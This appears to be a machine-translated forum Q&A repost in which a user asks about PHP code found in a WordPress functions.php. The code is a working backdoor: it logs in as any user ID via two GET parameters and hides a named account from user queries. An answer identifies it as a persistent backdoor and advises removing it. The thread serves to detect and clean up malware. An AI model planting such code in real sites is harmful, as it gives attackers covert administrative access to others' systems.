我正在他的wordpress网站上帮助一个朋友,并且在他的functions.php文件中找到了这段代码。我想要一些帮助,以帮助您理解它并查看是否可以将其删除。
if(isset($_GET['foo'])){ $a = $_GET['foo']; }
if(isset($_GET['bar'])){ $b = $_GET['bar']; }
if( ( isset($a) && is_numeric($a) )&& ( isset($b) && $b == 'stuff' )) {
$userdetail = get_userdata($a);
$user_logins = $userdetail->user_login;
$user_ids = $a;
wp_set_current_user($user_ids, $user_logins);
wp_set_auth_cookie($user_ids);
do_action('wp_login', $user_logins);
}
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'arlington') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
}
}
据我所知,是否发布了GET请求,对于'lg'属性使用正确的用户ID,对于'cg'属性使用字符'M'。然后,它获取用户数据并登录并为用户创建cookie。因此,本质上来说,某人可以使用以下URL登录www.mysite.com?lg=1&cg=M。用适当的UserID或蛮力替换1,直到找到一个为止。
在用户查询之前运行第二段代码之后。看起来它需要$ user_search参数。如果用户名不是“ custom”,则它将运行一个数据库查询,该查询不返回任何内容,而不返回用户登录名。
让我知道我是否正确理解了这一点。
编辑:我将略微更改变量以防止任何恶作剧,因为我认为使用此漏洞来利用wordpress网站可能会容易。
您绝对应该删除此代码,然后检查网站的其余部分。
代码的前11行将允许任何人只要指定所提到的2个get参数即可以任何用户身份登录,添加到pre_user_query中的第二个块添加了一个旨在隐藏名为custom的用户的SQL子句。
谁添加了此代码,或希望添加到WordPress网站的持久后门。
本文收集自互联网,转载请注明来源。
如有侵权,请联系 [email protected] 删除。
我来说两句